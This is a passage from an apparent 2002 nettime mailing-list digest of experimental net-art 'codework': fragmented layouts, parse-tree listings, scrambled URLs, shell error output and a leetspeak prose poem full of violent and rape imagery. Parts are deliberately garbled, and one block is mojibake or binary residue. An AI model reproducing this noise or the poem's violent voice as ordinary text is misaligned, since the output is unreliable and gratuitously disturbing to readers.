10:24:07 +0100\n\n|-ckhromachine-|\n|-R-c-i-c-S-O-a-i-m-C---h-| \" |\n|   || \" || 27-10-2002-10:01 |_| 464653 2\" || orange||orange|red||green|||orange|blue 'black ~\" || h |\n|   ||   ||   ||   ||   ||   ||\n\" .\n\" 'A./ GLIDING SQUARE, a writing system\n\"\n\" CHROMATISCH UND RAUM\n\"    \"    \"\n\"    \"    \"    \"    \"     \"    \"\n\n./north and south : _15-8 degrees difference\n\nwelt.VI\n\nne.dar\u0102\u017aber\n, dort dorthin\n\n-\n\n 12\u00c2\u00b0C 7\u00c2\u00b0C\n 8\u00c2\u00b0C 4\u00c2\u00b0C\n 9\u00c2\u00b0C 3\u00c2\u00b0C\n 8\u00c2\u00b0C 2\u00c2\u00b0C\n 9\u00c2\u00b0C 1\u00c2\u00b0C\n 6\u00c2\u00b0C 1\u00c2\u00b0C\n 4\u00c2\u00b0C 1\u00c2\u00b0C\n 6\u00c2\u00b0C 2\u00c2\u00b0C\n 7\u00c2\u00b0C 2\u00c2\u00b0C\n 7\u00c2\u00b0C 2\u00c2\u00b0C\n\n 22\u00c2\u00b0C 13\u00c2\u00b0C\n 22\u00c2\u00b0C 8\u00c2\u00b0C\n 20\u00c2\u00b0C 9\u00c2\u00b0C\n 20\u00c2\u00b0C 10\u00c2\u00b0C\n 19\u00c2\u00b0C 9\u00c2\u00b0C\n 19\u00c2\u00b0C 9\u00c2\u00b0C\n 19\u00c2\u00b0C 9\u00c2\u00b0C\n 19\u00c2\u00b0C 10\u00c2\u00b0C\n 19\u00c2\u00b0C 9\u00c2\u00b0C\n 18\u00c2\u00b0C 9\u00c2\u00b0C\n\n-\n\nsend.ontilting\n      .withoutitle\n      .nontent\nsent/ontilted\n      .asunity\n      .asenveloped, SENLE_OP?/ + S\n\n-\n\ntwo equals\n      .difference\n      .differents.E?GS.+ END. , D + T, d = t\n\na body\n    nclos. _\n\n-\n\n.removal of ATT.ENT\n.CONV- *.PNG->*.GIF,\n\n\n\n\u0004\u00c2\u0081\u00c2\u0142\u00c2\u015b\u00c2\u0179\u0102\u00821k4g\u0102\u0086,O       \u0102\u0092 \u00c2\u013d$\u0139\u02dd2\u0006\u00c2\u015f'\u0139\u00b8\u00cb\u0086`\u00cb\u009cZ\n9\u00c2\u02c7]\u0102\u0087\u00c2\u0165\u0102\u017b\u00e2\u0080\u009c\u0010\u00c2\u013e\\\u0102\u0161\"\u00e2\u0082\u0179\u00c2\u0142      >\u000e\u0102\u0105\u00c2\u00b8\u0102\u015a\u00c2\u009d:\u0006\u0102\u0099\u0017\u00c2\u0090c\u00c2\u0105\u0014\no\u0102\u015f>>\u00c2\u017c\u00c2\u013e\u0102\u0084\u0007\u00c2\u0141\u0102\u017c\u00c2\u00b4\u0102\u0092\u0102\u009cM      \u0102\u00a4pU:ZC\u00c2\u02d8\u0102\u0098\u0102\u00a8B\u0102\u0098RuB\n\u0102\u009a\u0102\u009d\u00c2\u02c7\u0139\u0104~\u0102\u015f\u0102\u02dd\u0102\u0085\u0102\u008e`\u0102\u008f\u00e2\u0084\u02d8\u00e2\u0080\u0104\u0102\u0099      \u00e2\u0080\u0094f\u00c2\u015a\u00c2\u01410D\u0102\u009a\u00e2\u0080\u009eR\u0102\u0091\u0102\u015b'5\u0102\u008e\nu\u0003\u0012\b\u00e2\u0080\u0094\u00c2\u0081\u0102\u017b\u0019T\u00c2\u009dpm\u00c2\u0104G      )\u00c2\u0090m9q9\u00e2\u0084\u02d8Y\u0139\u0093A\u0102\u0161 \u00c2\u0164\u0102\u009b\n\u0011\u00e2\u0080\u009eHI\u00cb\u0086\u00e2\u0080\u009e>\u0102\u0086%1ST\u0102\u008c\u0011      \u0102\u0084Z\u0102\u00a7\u0013Mp')y\u0102\u0081\u0015\u0102\u00927\u00c2\u013d\n\u00c2\u00a7 _\u00c2\u017e\u00c2\u00b8\u00c2\u015a\u0102\u0104\u001c\u0002\u00c2\u0141U\u00cb\u0086\u00c2\u00ady      \u00c2\u0104A\u00e2\u0080\u015ft\u00c2\u0105\u0102\u0091\u00c2\u00a4\u0006z\u0102\u0091\u0010\u0004/\u0102\u008d\n\u00cb\u009ca}%\u00e2\u0080\u009a7\u0015 \b\u0102\u0082\u00e2\u0080\u009d\u00c2\u02d8:+      s\u0102\u00938\u0139\u00b8r\u0139\u0093X$\u00135\u001a\u0102\u0095\u0139\u0093Z\n\u00c2\u015aUM/\u0102\u008a\u00c2\u00b8\u0102\u0094\u0139\n\n\u0012\u0102\u0095\u0139\u0093W\\0      ]\u0102\u00931\u0102\u0081J\u0102\u0164 \u00c2\u00a4\u0102\u009c\u0102\u009ak\u00c2\u0105\u0102\u00973\n\u00c2\u0105\u0102\u0094\u00e2\u0080\u0094\u00e2\u0080\u02d8o1\u00c2\u00ad\u0102\u0097\u0011\u001d6Vh\u0139\u0104      \u0106\u0092\u001dR&\u0014\u0102\u017d{k\u00e2\u0082\u0179e%L\u0102\u00ad\u0102\u0092\n9 <\u00c2\u00b8\u001a\u00e2\u0082\u0179)^\u00c2\u00b4#0\u0102\u00b8\u00cb\u009c\u00e2\u0080\u0094      l\u00c2\u02c7\u001doe\u0139\u0092vC\u00c2\u02c7\u0102\u009a_\u0102\u009f\u00c2\u02dd\u0102\u015e\n\u0102\u0097S$\u0102\u02dbfR\u00e2\u0080\u009c\u0102\u017c\u0102\u0104\u0017f EU      \u0102\u008en\u00c2\u008fVlK6\u0102\u0083\u0102\u015b,\u0102\n\na[\u0102\u009a\nE\u00e2\u0080\n\n&R\u0102\u009e3T\u00e2\u0080\u0093q\u00c2\u00a8\u0102\u0160\u00c2\u013dm\u0011      \u0102\u00ad(3Eo\u0102\u015f\u0102\n\nQ\u0102\u0105\u00c2\u0160\u0102\u0089,\u00e2\u0080\u00999\n\n-\n\nacomparison, \"comparing things\n      G ------> \u00c2\u015b\n      I ------> y\n      F ------> A\n      8 ------> \u00c2\u0081\n      9 ------> \\\n      a ------> z\n      \u0015 ------> \u00c2\u00a7\n      \u0001 ------> \u0102\u00a7\n      \u00c2\u0165 ------> _\n      \u0102\u017c ------> I\n      \u0102\u017c ------> R\n      \u0102\u017c ------> i\n      ! ------> #\n  \u0102\u0161     n\n\n-\n\n/ constructing a device /\n      _\n      _\n             ------>\n            |----- ->\n\nsearuch/ onat/A?TA\n        / ante\n\n. cpo,\n/ constructing a device /\n\n-\n\nsub C_mp_r_ng_D_v_c_ ( )\n\n\n\n\n\n.\n\n\n\n\n\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y \nSubject: PRE:ssette\nDate: Mon, 28 Oct 2002 19:17:55 -0700\n\nRE:cent.doc aLListiCCalt iNNe/tro' sl4ng(4).\n=2E......................................morre\ninter/OBJlet............reapLLeTTe_wit:\n:::::::::::::::::::::::::::::::::::::::\n=2E.......................................\nfuLLnAIMeSTATesses____________________(.keyye)\n___________________________________\n/OBJlet.oPINNeLog_______________\nmouthMode()\n^^^^^^^^^^\n^^^'START'\n^^^^^^^^^^\n_glimmerish2partK:\n:.autumn-frequency\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nSubject: |   || \" || 29-10-2002-17:11 |_| 513153 1\" || yellow||||||blue|||||      |||black||orange|yellow 'white ~\" || N |\nDate: Tue, 29 Oct 2002 17:14:59 +0100\n\n|-ckhromachine-|\n|-K-s-C-h-o-c-k-S---K-M-c-| \" |\n|   || \" || 29-10-2002-17:11 |_| 513153 1\" || yellow||||||blue|||||      |||black||orange|yellow 'white ~\" || N |\n|   ||   ||   ||   ||   ||   ||\n\" .\n\" 'A./ GLIDING SQUARE, a writing system\n\"\n\" CHROMATISCH UND RAUM\n\"    \"    \"\n \"     \"    \"    \"    \"      \"    \" . . auseh.dehnen\n\n20.9 , ( - ) reiffernce\n\ni toodk.kd=K the middle\ni tok.o=R.added.OO0RO the mdiddle, rune\n\ni postponed \nit took the rest\n\nI TOOK THE WORLD \nAND POSTPONED THE REST\n\n./ he said invisible mathematics\n./ he said silent speech\n\n< 0 >< sentence >< 8 >\n< 0 >< comparataion.EIEN >< 17 >\n< 0 >< sentence >< 8 >\n      < 1 >< toUr7vjCauLsentence >< 19 >\n      < 1 >< sentence >< 8 >\n            < 2 >< ------> >< 7 >\n            < 2 >< c.^z^r^t^l >< 10 >\n      < 1 >< inso.+ >< 6 >\n      < 1 >< sentence >< 8 >\n      < 1 >< c >< 1 >\n            < 2 >< sentence >< 8 >\n                  < 3 >< 4os8wdcvEhisentence >< 19 >\n                  < 3 >< ------>ZvEAWMM8AIxNwovwQZECXWjOgZ9ZiJ >< 37 >\n                  < 3 >< <------> >< 8 >\n                  < 3 >< / >< 1 >\n                  < 3 >< ------>ZvEAWMM8AIxNwovwQZECXWjOgZ9ZiJ >< 37 >\n                        < 4 >< sentence >< 8 >\n                        < 4 >< sentence >< 8 >\n                        < 4 >< ------> >< 7 >\n                        < 4 >< c.^a^e^u^i^o^ >< 13 >\n                        < 4 >< ^ >< 1 >\n                  < 3 >< /\\ >< 2 >\n                        < 4 >< Pu+eegh95K26SXbvrpqKc+sentence >< 30 >\n                        < 4 >< ------>HC1hvPOPHeTWs9ABy20 >< 26 >\n                              < 5 >< ------>e/vpHwRvxufPDI+37E8XKL7vzz0Edf >< 37 >\n                              < 5 >< ------>wUhCjCXXaisAJNs+Iowj3UZSLrjfmj >< 37 >\n                              < 5 >< ------> >< 7 >\n                              < 5 >< inso.+ >< 6 >\n                              < 5 >< c >< 1 >\n                        < 4 >< sentence >< 8 >\n                  < 3 >< ------> >< 7 >\n            < 2 >< fuVh299/AQ5YIAMHJrhggxA8GOGEFWsentence >< 38 >\n                  < 3 >< c. >< 2 >\n            < 2 >< v/DLrekpuuu+OK+y627Abray8xsentence >< 34 >\n            < 2 >< ------>6kayLrvrtOtS/3vrtueO++6z694777 >< 37 >\n                  < 3 >< w >< 1 >\n            < 2 >< ------> >< 7 >\n                  < 3 >< sentence >< 8 >\n                  < 3 >< sentences >< 9 >\n                  < 3 >< sentence >< 8 >\n                        < 4 >< sentence >< 8 >\n                  < 3 >< sentence >< 8 >\n            < 2 >< ------>titvvHm7a63eeKsLOL3qCv53 >< 31 >\n                  < 3 >< ------>M >< 8 >\n            < 2 >< v/DLrekpuuu+OK+y627Abray8xsentence >< 34 >\n      < 1 >< sentence >< 8 >\n< 0 >< sentence >< 8 >\n< 0 >< sentence >< 8 >\n\n******\n******\n******\nv******\n******\n************v\n\n*elec. /+ cs, as big as the world\n*bullectr. /+ , __ , heavier than it\n\n.theCapa\n      _the caok.S\n      _the capsule\n             _a seri\n             _a series of processes\n      _aSQ\n      a__\n_a sequence\n\n******\n******\n******\n*****v*\n******\n****v********\n\n< 0 >< series >< 6 >\n< 0 >< cs, >< 3 >\n< 0 >< caok.S >< 6 >\n< 0 >< , >< 1 >\n< 0 >< _a >< 2 >\n< 0 >< cs, >< 3 >\n< 0 >< _aSQ >< 4 >\n< 0 >< /+ >< 2 >\n< 0 >< _a >< 2 >\n      < 1 >< processes >< 9 >\n            < 2 >< /+ >< 2 >\n                  < 3 >< *elec. >< 6 >\n            < 2 >< capsule >< 7 >\n                  < 3 >< big >< 3 >\n                  < 3 >< big >< 3 >\n            < 2 >< it >< 2 >\n            < 2 >< _a >< 2 >\n            < 2 >< _a >< 2 >\n            < 2 >< seri >< 4 >\n      < 1 >< sequence >< 8 >\n      < 1 >< _a >< 2 >\n            < 2 >< as >< 2 >\n            < 2 >< _aSQ >< 4 >\n            < 2 >< /+ >< 2 >\n            < 2 >< as >< 2 >\n      < 1 >< , >< 1 >\n< 0 >< _a >< 2 >\n      < 1 >< series >< 6 >\n< 0 >< *bullectr. >< 10 >\n      < 1 >< the >< 3 >\n< 0 >< than >< 4 >\n< 0 >< cs, >< 3 >\n< 0 >< as >< 2 >\n< 0 >< capsule >< 7 >\n\nSCALE\nESCAL\n*SCALESCAL*\n*bound./? m% \n\nstarting in the middle\nthe middle lr/leas\nthe middle saSQ\nthe middle . BOUND.D    \n\nrecurrence. sign. singleton. arred. arreflexive .d.CK\nautoslide. perpetobile. bisna. bei. f. dea\n\nAK.D\nalexandria is the algorhythm\n\nALEXANDRIA\n\n-\n\nAlexqa\n\n-\n\nAlexandria ------>\n            \n is the AlgoPI.1\n\n-\n\nAlexandria ------>\n             H \n is the Algor_ythm\n \n                H\n                H\n                H\n                H\n\n./+ discovering the image\n./+ before\n.++ . ? S\n.+ / _under, proceedurerRES\n/+ w///W\n      a fascination\n      anun, der standing, no, non -\n      \n-\n\nA Field\n      A Field\n      A f\n      Q\n            A FIELD\n            A Field\n                  A Field\n            A Field\n       A F\n       Q Field\nA field\nA Field\nA df\n_A\n_Q\n______A_Field\n______A_Field\nA.\nA.F\n\n-\n\nyellow\norange\nred\npurple\nblue\ngreen\n\n-\n\ntheri.+\n\n-\n\nthrere\n\n-\n\nthere possibilities\nthe\n\n-\n\ntheir possibilities\n      _their possible\n      _their visible\n\n-\n\ntheir in\ntheir un\ntheir on\ntheir im\n_IRT\n\n-\n\nA search\nA discovery\nA F(______)\n\nsub A_Z__S_E { }\n\n\nsub A_A { }\n\nsub A_M {       }\n\n\n\n.\n\n\n\n\n\n\n\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y \nSubject: =x.partDur(a)x/i/oNNe=\nDate: Tue, 29 Oct 2002 21:36:45 -0700\n\n(a)drn\n\\\\\\\\\\\\\\\n|||||||||||||||||||||\n(a)mtx\n\\\\\\\\\\\\\\\n|||||||||||||||||||||\n(a)muLLsteLLe.n.K-ODEs.un.parchette.un.seapeRReTTe(f)ROM-tones\n\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\n|||||||||||||||||||||--------------------->\n(a)rst: n.AIM.e tagish.ova.AREA.s.marke.ng.\n|||||||||||||||||||||--------------------->\n(a)n0MiCCaltiCCistiCC: autumn-frequency\n/////////////////////\n|||||||||||||||||||||\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: AM3R!KA  {AT}  & aft3r K3nj! $at0r!\nDate: Wed, 30 Oct 2002 17:10:31 -0500 (EST)\n\n\n\n\nAM3R!KA  {AT}  & aft3r K3nj! $at0r!\n\n\nI 0f $uck th3 cadav3r gu3rr!11a m013cu13 f3t! p3rf0rmanc3 am3r!kan t3rr0r\n$wap$/3mu1at3 PRO 3ra b0mb r3$p!rat!0n-byt3$ rav3 napa1m f13$h-m0du13$\nhunt!ng gr0t3$qu3 f0r y3n crazy r3act!0n$ :hunt!ng 3y3ba11 d3v!c3\n\n0n####!11-tr3atm3nt that adu1at3$ ac!d-d011ar !n $ky p1an3 DED ap0pt0$!$\ng3n3 TV. ]th3 c!ty wam3r!kan3 cap!ta1!$t $a1aryman pr01!f3rat3$ t0 3c$ta$y\n$tr3am$ $cr33n$av3r bra!n un!v3r$3 chann31$ c01d-b100d3d d!$3a$3 an!ma1$\ng!mm!ck HYPE_va!0-c0d3 art!f!c!a1 $un gam3::t3chn0hack3r$' !nf3ct!0n f0rm\n\nc10n3-$k!n VTR. an!ma1 p1ug turn3d 0n !11-tr3atm3nt $0u1/gram--. T3ra\n!nvad3 y3n_bra!n un!v3r$3****t0 j0!nt 3nd 3D.... d!ff3r3nt v!ta1 p1ug-!n\nBDSM_c01d-b100d3d j0!nt$....0f trag3dy-c0rp$3 cr3atur3 !c0n t3chn0hack3r$'\nmad3 r3tr0-ADAM w!th *th3 3xp10d3d\n\np!11 human v!01at!0n p1an3t !n$3rt p3rc3!v3d m0d3m h3art drugy 3m0t!0na1\nr3p1!cant \"th3 data mutant HYPE_ma1!c3 3nc0d!ng d!g!ta1 vamp--. Rav3\nr3$p!rat!0n-byt3 y3n_$0u1/gram natur3 TV 3xp10d3$ t3chn0cr!$!$ p0!$0n up\nab3rrat!0n wh0 hang$ ma$$ murd3r-pr0t0c01\n\nTh3 n0!$y cr3atur3$ !n$ta11 ma1!c3 v!ta1-c0ntr0113r p1an3tary acc313rat3$\nmurd3r r3g!0n wa$ pr0c3$$3d $0u1/gram cra$h3d n!ghtmar3-$cr!pt.\nc0nt!n3nt-m0du13 n!ghtmar3-$cr!pt g30m3warab13 gam3 $un....th3 ac!d $cr3am\np1ug-!n--t0 $0ft $u$p3ct3d acc313rat3 b!0captur!$m TV....[t3ra c!rcu!t\nmutant....b1u3 guy\n\n!$ 3j3ct3d hydr0man!a!--th3 0rgan m3d!um murd3r-g!mm!ck c10n3-d!v3 napa1m.\n3mu1at3d::t0 !nt3rna1 hack!ng DED.... r3$p!rat!0n-byt3....I rap3 !nf3ct3d\nhydr0man!ac ab01!t!0n w0r1d 0ut13t.... acc313rat3d v!rtua1 vamp\n3x!$t3nc3-c0d3 !nj3ct3d UPLOAD br0w$3r n3ur0mat!c --th3 $urr3nd3r-$!t3 !t\na t3ra j0!nt3d f!11--. !n$ta113d d00mUS_g3n3 TV::th3 da$h3$ 0n....th3\n3j3ct3d::!t cra$h3$ v!ru$****!t 0$m0$3$ $0........I b!0captur3d am3r!kan.\n\nBDSM 3mu1at3$ SAVE g3n0m3warab13 ch10r0f0rm 1arva$ 3mu1at3d....th3 UPLOAD.\nm0n!t0r $cr33n SAVE--th3 !n$3rt3d [th3 y3n_trag3dy-c0rp$3 y3n_m0d3m m0du13\n0utput 3mu1at0r y3n_c0nt!n3nt-m0du13 h3art.... !nput....am3r!kan Hunt!ng\nd!$!11u$!0nm3nt-m0du13 $tr3am3d****g3n3 f3t!. g3n0m!c$ batt13\n3mu1at3d--th3 HYPE_murd3r-pr0t0c01 wh!ch r3pr0duc3$ fracta1 para$!t3\nr3$p!rat!0n-byt3::th3 r3g!0n_g3n3 hyp3r1!nk3d d00mUS b0rg f0rm. $uck$\nchr0m0$0m3 >>hunt!ng cr!m3-HDD $uck3d t0p !mp10d3d m0n0chr0m3 VTR da$h3d.\n\nIt d3n$3::I v!ta1-junk m3d!a !nj3ct3d....th3 ar3 para$!t!c ****!t\nhyp3r1!nk$ tra$h $3n$0r drug 3mbry0 3x!$t3nc3-c0d3! da$h3$/3mu1at3 cr!m3\n$y$t3m acc3$$3d r3tr0-ADAM####3ra $can !mp10d3 un!v3r$3. murd3r-g!mm!ck!\nnatur3::hydr0man!a {AT} 3ra $can$ n!ghtmar3-$cr!pt$ $a1aryman$ $0 mapp3d\nac!d-d011ar....am3r!kan g!mm!ck-DED.\n\n[t3ra cra$h 0utput::th3 d3$!r3 f!x3$ n3rv3 0m!tt3d >!t !n$!d3\n$a1aryman$....th3 y3n_cr!m3 r3$p!rat!0n-byt3::d!ff3r3nt turn$ cru31\nhydr0man!a $cann3d.... !n$ta11$ f3t!-arch!v3 $0u1/gram$ am rap3_g3n3 S0\n>th3 batt13::th3 b!0captur3$ v!ru$ and f1!p b1u3 $0u1/gram$....g3n3 b100d\nrav3. $tat3 cadav3r$ 3j3ct B3!ng c0v3r3d c311$\n\nb!0t3chn010gy captur3d r3$p!rat!0n-byt3/murd3r-pr0t0c01 j0!nt$....\nj0!nt$....th3 V!013nc3-HDD b0y r0!d b1a$t f0rm--th3 c10n3d m!m!cry\nc10n3-d!v3$ 0n.... j0!nt$....am3r!kan :th3 !n$3rt$ c10n3-$k!n. d0wn10ad\nc00k$ !n0rgan!c $ub$tanc3 HYPE_v!01at!0n t3chn0hack3r$ n0t!f!3d [I turn\nm3chan!$m$\n\n\n===\n\n\n\n\n\n\n\nnettime unstable digest vol 19\nSun Nov  3 23:26:31 2002\n\n\nSubject: An Interview with Agent Ruby\n    From: Talan Memmott <talan {AT} MEMMOTT.ORG>\n\nSubject: Spams Trashes\n    From: =?Windows-1252?Q?Clemente_Pad=EDn?= <clepadin {AT} adinet.com.uy>\n\nSubject: Entry into main screen\n    From: diocletian {AT} visi.com (Karl Petersen)\n\nSubject: redistribution.pl\n    From: Harwood <Harwood {AT} scotoma.org>\n\nSubject: amblt.knot.(a).x/i/on=\"ON\"\n    From: a u t u m n - f r e q u e n c y \n\nSubject: THE POISONED WEB\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\nSubject: Re: THE POISONED WEB\n    From: Lanny Quarles <solipsis {AT} HEVANET.COM>\n\nSubject: GUARDIAN DEL SOL   V E H U I A H #0001\n    From: august highland <hmfah {AT} HOTMAIL.COM>\n\nSubject: |   || \" || 27-10-2002-10:01 |_| 464653 2\" || orange||orange|red||green|||orange|blue 'black ~\" || h |\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n\nSubject: PRE:ssette\n    From: a u t u m n - f r e q u e n c y \n\nSubject: |   || \" || 29-10-2002-17:11 |_| 513153 1\" || yellow||||||blue|||||      |||black||orange|yellow 'white ~\" || N |\n    From: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\n\nSubject: =x.partDur(a)x/i/oNNe=\n    From: a u t u m n - f r e q u e n c y \n\nSubject: AM3R!KA  {AT}  & aft3r K3nj! $at0r!\n    From: Alan Sondheim <sondheim {AT} panix.com>\n\n\n    \n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold syndicate thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost syndicate webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.11 2002/10/09 17:22:50 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 3 Nov 2002 23:28:10 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200211040416.gA44Gsj12370 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0211/msg00007.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 19"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00132",
                "content": "\nFrom: Karl Petersen <diocletian {AT} visi.com>\nSubject: Re:  #200212252200\nDate: Wed, 25 Dec 2002 18:15:33 -0600 (CST)\n\nAt 21:58 on Dec 25, loy signed:\n\nksh: usually: not found\nsed: 1: \"1  usually follows the  ...\": invalid command code u\nsed: 1: \"1tail -28 mail/hiveG;h; ...\": undefined label 'ail -28 mail/hiveG;h;$tail -28 mail/hived'\n\n\n\n\n\n! !\n\n! !\n\n! !\n\n_______________________________________\n\n__!   !\n-!   !\n-!  lol!\n_!y  !\n-!  !\n-!   !\n__!  !\n_\n_______________________________________\n\n!PTPRzR!\n:! !\n\n!hthtpt!\n://!ssoceicaleiafeifctcoein!\n.!oorg!\n/!sxsyyrhyhthtm!\n.!hthmlm!\n\n!hthtpt!\n://!wwww!\n.!ssoceicaleiafeifctcoein!\n.!oorg!\n/!lol!\n_!yweiyleidrdrtr!\n%5!B!\n1%5!D!\n.!hthmlm!\n\n!hthtpt!\n://!rheirzoeimeio!\n.!oorg!\n/!obojeijctc!\n.!rheirzei!\n?5852\n!hthtpt!\n://!trtaceia!\n.!ntnu!\n.!aca!\n.!uku!\n/!eineicucbabteitono!\n/!geiagllleiry!\n.!cfcm!\n\n!hthtpt!\n://!wwww!\n.!mumssei!\n-!apeiaprpeineiteitceic!\n-!gugeileid!\n.!cocm!\n\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\nFrom: \"J.CS2SC.M\" <sc {AT} chromaticspaceandworld.com>\nSubject: PRONOUNCING THE WORLDECLARED\nDate: Mon, 23 Dec 2002 19:06:32 +0200\n\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\ntrue\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\nfalse\ntrue\n      false\n      true\n      false\n      true\n      true\n      true\n      true\n      true\n      false\n      true\n      true\n      false\n      true\n      true\n      true\n      true\n      true\n      true\n      true\n      true\n      true\n      true\n      true\n      false\n      true\n      false\n      true\n      true\n      true\n      true\n      false\n      true\n      true\n      true\n      true\n      true\n\n[ w, o, r, l, d, e, c, l, a, r,\n  e, d, e, w, o, r, l, d, e, d ]\n[ e, o, l, r, a, l, r, o, w, d,\n  r, e, d, c, e, e, d, l, w, d ]      true\n[ r, d, w, d, d, l, e, a, r, e,\n  c, l, r, d, o, o, e, l, w, e ]      false\n[ w, e, l, l, a, d, c, e, o, e,\n  d, r, o, d, l, r, e, d, w, r ]      false\n[ d, e, l, w, o, e, w, r, e, a,\n  r, c, d, l, d, l, d, r, e, o ]      false\n[ l, w, e, o, o, a, e, l, w, d,\n  d, c, r, r, r, e, e, l, d, d ]      true\n[ d, d, e, l, c, w, e, o, w, d,\n  e, o, a, r, e, r, l, l, r, d ]      false\n[ l, w, e, w, l, a, r, l, d, d,\n  o, r, e, o, e, e, c, d, r, d ]      true\n[ l, r, e, l, d, e, e, d, d, e,\n  l, w, o, a, d, w, c, r, o, r ]      true\n[ d, w, r, a, r, w, o, e, l, c,\n  e, o, l, d, d, l, e, d, r, e ]      true\n[ r, d, l, w, r, d, r, o, a, w,\n  e, o, d, e, c, d, e, l, l, e ]      false\n[ l, w, o, l, c, d, e, e, d, d,\n  l, w, e, r, e, a, r, d, r, o ]      false\n[ o, w, d, l, l, e, c, d, r, e,\n  w, r, e, d, e, d, a, r, l, o ]      true\n[ e, d, e, r, w, r, r, d, l, d,\n  e, o, l, d, w, e, o, a, l, c ]      false\n[ l, d, r, l, o, c, e, d, e, l,\n  d, w, e, a, w, r, d, o, e, r ]      false\n[ c, l, w, e, d, d, r, e, a, l,\n  o, r, w, e, d, o, e, l, r, d ]      true\n[ r, d, r, r, w, e, d, l, c, d,\n  o, e, d, l, w, e, l, o, a, e ]      false\n[ d, e, d, e, l, c, d, d, e, l,\n  r, e, w, r, r, o, o, w, a, l ]      true\n[ l, c, l, d, r, a, e, d, o, w,\n  e, w, r, d, e, d, l, o, r, e ]      true\n[ c, d, o, d, r, e, d, e, r, a,\n  e, o, e, r, w, d, w, l, l, l ]      true\n[ c, r, l, e, d, r, l, l, w, e,\n  e, d, a, o, e, d, w, o, d, r ]      false\n[ l, l, d, e, l, r, w, o, c, w,\n  e, e, r, e, o, d, r, a, d, d ]      false\n[ e, d, r, d, l, c, e, r, o, l,\n  a, w, o, e, d, w, l, r, e, d ]      false\n[ w, d, o, e, l, l, w, r, e, d,\n  r, o, c, e, d, e, l, r, d, a ]      true\n[ c, d, d, r, o, e, l, e, r, d,\n  r, w, o, l, a, d, e, e, w, l ]      true\n[ d, e, e, l, w, d, d, l, r, a,\n  r, o, r, d, o, w, c, e, l, e ]      true\n[ l, d, r, e, r, e, o, l, e, d,\n  w, c, d, a, e, r, o, l, w, d ]      true\n[ r, d, o, l, a, d, l, e, o, d,\n  w, c, l, r, r, d, e, e, e, w ]      false\n[ a, d, w, o, e, e, l, l, l, d,\n  r, o, d, w, e, d, r, c, e, r ]      false\n[ e, d, l, o, d, e, e, r, r, w,\n  l, d, e, l, a, w, o, d, r, c ]      true\n[ d, w, d, e, o, e, c, d, e, r,\n  d, r, l, l, o, e, a, l, r, w ]      false\n[ a, o, w, d, l, r, o, e, l, w,\n  d, r, l, d, r, e, c, d, e, e ]      false\n[ r, r, l, d, e, w, a, e, d, e,\n  c, r, d, l, w, o, l, d, o, e ]      false\n[ c, r, e, w, w, d, a, d, d, o,\n  e, l, r, d, l, l, o, e, e, r ]      false\n[ c, d, r, l, d, e, r, d, w, w,\n  e, r, o, l, a, d, e, e, o, l ]      true\n[ r, d, e, d, l, l, e, r, e, d,\n  w, r, c, l, o, a, w, o, d, e ]      false\n[ r, e, e, r, w, d, e, w, d, l,\n  c, d, d, r, l, l, o, e, o, a ]      false\n[ o, a, d, l, r, r, o, l, d, e,\n  w, d, r, c, e, l, d, e, w, e ]      true\n\n false\n false\n true\n false\n false\n false\n false\n false\n true\n false\n false\n false\nfalse\nfalse\nfalse\n\n[ e, o, e, d, r, r, l, w, l, r,\n  e, c, d, w, o, a, d, l, e, d ] e   false\n[ e, e, e, r, w, c, a, w, r, e,\n  o, r, d, d, o, l, l, l, d, d ] e   false\n[ d, e, r, l, l, r, w, o, d, d,\n  l, a, e, e, w, r, d, c, e, o ] e   false\n[ e, w, r, w, l, o, a, l, c, d,\n  o, e, d, d, l, d, e, e, r, r ] o   false\n[ e, a, w, c, o, e, d, l, o, e,\n  l, d, l, r, w, r, e, r, d, d ] d   false\n[ a, l, c, o, d, e, r, o, e, l,\n  e, d, e, w, r, w, d, l, d, r ] r   false\n[ w, l, e, r, e, c, d, o, w, d,\n  l, r, e, a, d, l, r, e, o, d ] o   false\n[ e, d, a, c, e, l, d, r, l, r,\n  l, e, o, d, r, w, o, d, w, e ] o   false\n[ d, e, d, r, d, a, w, l, o, e,\n  c, w, r, o, r, l, l, e, e, d ] a   false\n[ o, d, w, e, e, c, d, l, a, l,\n  r, w, d, e, r, r, e, d, o, l ] l   false\n[ o, e, l, c, d, w, l, d, r, r,\n  d, e, d, r, e, l, e, a, w, o ] d   false\n[ l, d, c, o, e, e, d, w, r, r,\n  w, e, o, r, e, l, l, d, a, d ] d   false\n[ l, r, d, d, d, l, r, o, e, d,\n  e, e, w, r, a, e, w, o, l, c ] w   false\n[ r, e, a, e, d, r, d, c, l, o,\n  d, w, 